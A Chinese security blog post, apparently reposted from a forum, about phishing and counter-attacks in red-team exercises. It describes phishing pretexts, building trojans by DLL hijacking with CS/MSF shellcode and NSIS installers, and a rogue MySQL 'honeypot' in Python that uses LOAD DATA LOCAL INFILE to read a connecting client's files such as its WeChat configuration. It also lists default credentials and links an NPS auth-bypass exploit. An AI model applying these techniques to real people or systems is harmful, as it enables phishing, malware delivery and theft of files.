• 攻防千层饼


    近年来,网络安全领域正在经历一场不断升级的攻防对抗,这场攻防已经不再局限于传统的攻击与防御模式,攻击者和防守者都已经越发熟练,对于传统攻防手法了如指掌。

    在这个背景下,攻击者必须不断寻求创新的途径,以突破外部网络目标的坚固防护体系,利用零日漏洞、社会工程学手法、供应链攻击、投毒攻击,或者更加隐秘的攻击向量,以规避传统的检测与响应机制。防守方也不再仅仅依赖于传统的防御策略,如IP封锁或简单的入侵检测,已经转向主动防御甚至主动进攻,采取主动情报收集、分析与分享,实时威胁情报监测、云安全服务、容器化防护等安全防护,以应对不断进化的威胁。更加激进的防守方会选择积极主动的策略,对攻击者发起反制攻击,拿下权限获取情报(更多的是被逼的,谁不想躺两周呢)。

    本文将探讨这些非常规的攻击与防御手段。

    钓鱼

    在网络攻防中,社会工程学攻击(如钓鱼)是一种常见的攻击手段。攻击者利用人们的心理和行为特点,通过欺骗、伪装等手段获取敏感信息或实施其他恶意活动。

    钓鱼攻击

    目前钓鱼的形式多种多样,有常规钓鱼手段通过邮箱、微信等IM工具钓鱼,也有供应链官方升级文件投毒,代码投毒。

    求职招聘

    攻击者伪装求职平台的求职者,联系HR私加微信。经常聊天降低风险意识,并套话使用的什么终端设别,发送伪装成求职简历的木马文件名,HR运行上线。

    或者伪装HR联系求职者

    图片

    投毒

    在github,公众号等地方投毒

    图片


    供应链投毒

    图片

    社会工程学

    通过在社交平台寻找疑似工作人员(重点关注微博抖音快手小红书),然后通过OSINT定制化钓鱼攻击,博取对方信任,然后投放木马

    图片

    仿冒IT运维人员

    以密码过期、系统升级等理由,要求打开链接输入账号密码或者下载恶意附件

    图片

    图片

    图片

    补贴

    图片

    吃瓜

    通过捏造吃瓜事件,吸引受害者点击恶意文件,在攻防时慎用此方式钓鱼,可能会被警告(21年某象)

    图片

    图片

    图片

    图片

    反钓鱼攻击

    可以在经过网络隔离的环境中模拟被钓鱼人员,运行攻击者的木马程序,同时准备一些模拟的敏感文件,例如VPN账号和密码、运维手册等等。这样,当攻击者尝试下载和运行这个木马程序时,可以对其进行反制。

    DLL劫持制作木马

    合法程序在运行的时候需要加载合法的dll,使用恶意的dll通过函数调用劫持合法dll,达到运行合法程序加载恶意dll的效果

    使用拿破轮胎大佬的工具(工具下载网盘:链接https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ

    提取码:c29j)可以直接自动化劫持dll。

    使用CS或者MSF的shellcode生成dll文件,这时文件目录会自动生成conf.inf文件和wwwcomw.dll文件,然后选择生成的wwwcomw.dll文件和要劫持的exe文件,即可生成被劫持的恶意程序。

    图片

    将conf.inf文件和wwwcomw.dll文件放入到和劫持的文件同一目录,点击运行即可执行shellcode

    图片

    NSIS制作安装包

    使用nsis可以将上述多个文件打包成一个安装包,并可伪装成任意软件。软件下载地址:https://www.pc6.com/softview/SoftView_14342.html 软件使用教程:https://www.cnblogs.com/modou/p/3573772.html

    图片

    mysql蜜罐

    21年国家HW时,某知名社区官方账号就曾使用该方法进行钓鱼,在一篇分析投毒代码中留下Mysql蜜罐的账号密码,吸引好事者登录mysql蜜罐,窃取敏感信息。

    图片

    LOAD DATA LOCAL INFILE

    LOAD DATA LOCAL INFILE 是 MySQL 中用于将数据从本地文件加载到数据库表中的命令。这个命令允许用户通过指定本地文件的路径将数据导入到数据库表中。

    读取服务端上的文件内容存入表中:

    load data infile "文件" into table "表名" fields terminated by '分隔符';
    

    读取客户端上的文件内容存入表中:

    load data local infile "文件" into table "表名" fields terminated by '分隔符';
    

    查看LOAD DATA LOCAL INFILE 功能开关状态

    show global variables like 'local_infile';
    

    图片


    将LOAD DATA LOCAL INFILE 功能打开

    set global local_infile=1;
    

    蜜罐

    利用代码伪造连接信息

    图片


    尝试读取文件信息

    1. if 'SET NAMES utf8' in res4:
    2. conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")
    3. res5 = conn.recv(9999)
    4. if 'SET character_set_results=NULL' in res5:
    5. conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")
    6. conn.close()
    7. else:
    8. conn.close()
    9. else:
    10. conn.close()
    11. else:
    12. conn.close()
    13. else:
    14. try:
    15. wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
    16. conn.sendall(wantfile)
    17. content = conn.recv(99999999)
    18. # print(len(content))
    19. conn.close()
    20. if len(content) > 4:
    21. if 'PFRO' in filename:
    22. with open(logpath + "/PFRO.log", "w") as f:
    23. f.write(content)
    24. f.close()
    25. return True
    26. else:
    27. with open(logpath + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:
    28. f.write(content)
    29. f.close()
    30. return True
    31. else:
    32. return False
    33. except Exception as e:
    34. print (e)
    35. except Exception as e:
    36. print (e)
    37. def run():
    38. port = 3306
    39. sv = socket.socket()
    40. sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    41. sv.bind(("",port))
    42. sv.listen(100)
    43. while True:
    44. conn, address = sv.accept()
    45. logpath = os.path.abspath('.') + "/log/" + address[0] + '/PFRO.log'
    46. if os.path.exists(logpath):
    47. with open(logpath, 'r')as f:
    48. content = f.read()
    49. f.close()
    50. content = content.replace('\n','').replace('\r','').replace(' ','').replace('\t','').replace('\00','')
    51. try:
    52. res = re.findall(r'Users\\(.*)\\', content)[0]
    53. username = res.split('\\')[0]
    54. line = 'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data'
    55. if not os.path.exists(os.path.abspath('.') + "/log/" + address[0]+'/'+line.replace("/", "_").replace(":", "")):
    56. res = mysql_get_file_content(line,conn,address)
    57. if res:
    58. print ("Read Success! ---> " + line)
    59. else:
    60. print ("Not Found~ ---> " + line)
    61. else:
    62. conn.close()
    63. except Exception as e:
    64. print(e)
    65. else:
    66. line = 'C:/Windows/PFRO.log'
    67. res = mysql_get_file_content(line,conn,address)
    68. if res:
    69. print ("Read Success! ---> " + line)
    70. else:
    71. print ("Not Found~ ---> " + line)

    项目地址:https://github.com/fnmsd/MySQL_Fake_Server

    溯源反制

    溯源

    钓鱼邮件溯源

    从邮件头入手,通常会包括"Received"字段,其中包含有关邮件传输的信息,如发件服务器的IP地址,对IP地址进行反查溯源。

    图片

    对邮箱账号进行溯源如“@qq.com”、“@gmail.com”等此类字符串,搜索账号等,如果使用的是私有域名邮箱,可以从这方面入手,有次就碰见EwoMail邮箱管理后台一般为8010端口使用了默认口令admin/ewomail123。

    图片

    邮件中可能包含域名链接或者后门木马也可进行溯源。

    后门木马溯源

    后门木马类型可能包括LNK、EXE、DOCX等。DOCX文件可能包含“最后编辑者名称”,EXE文件中可能包含PDB信息,尤其是在开发人员将项目存放在桌面时,这可能会导致编译信息与开发人员的终端名称相关联,LNK文件在创建时可能会捕获计算机名称。对回连 C2IP溯源。

    NPS

    未授权访问

    当使用默认配置未配置auth_key参数时,可以利用时间戳直接伪造管理员token的漏洞。脚本利用:https://github.com/0xf4n9x/NPS-AUTH-BYPASS

    默认密码

    nps的默认账号密码为admin/123

    图片

    灯塔

    默认密码

    灯塔的默认账号密码为admin/arlpass

    反溯源

    NPS

    故意留下未授权访问漏洞,或者易被猜解漏洞,如HW@2023,客户端内留下网络隔离环境的代理,同反钓鱼攻击。

    灯塔

    在一次攻防时,对攻击IP进行测绘,发现灯塔资产,使用未授权访问直接进入后台,发现大量shell。

    图片


    还好当时留了个心眼儿,用沙箱跑了一下,发现全是木马,也是学到了一波。

    图片

    原文地址:https://forum.butian.net/share/2454

                                           没看够?欢迎关注

  • 相关阅读:
    jenkins 发布项目到k8s tomcat
    【数据结构笔记04】数据结构之栈的顺序表示和实现(顺序栈)
    数据库的三种日志:redo log、binlog和undo log
    神经网络的发展历史
    第七章:命令行操作基础
    网页开发从无到有——html前端学习(七)
    关于 /lib/modules/**内核版本号**/ build 和 /source
    矩阵分析与应用(19)
    mulesoft Module 13 quiz 解析
    Android 开发用 Kotlin 编程语言 二 条件控制
  • 原文地址:https://blog.csdn.net/hackzkaq/article/details/133864084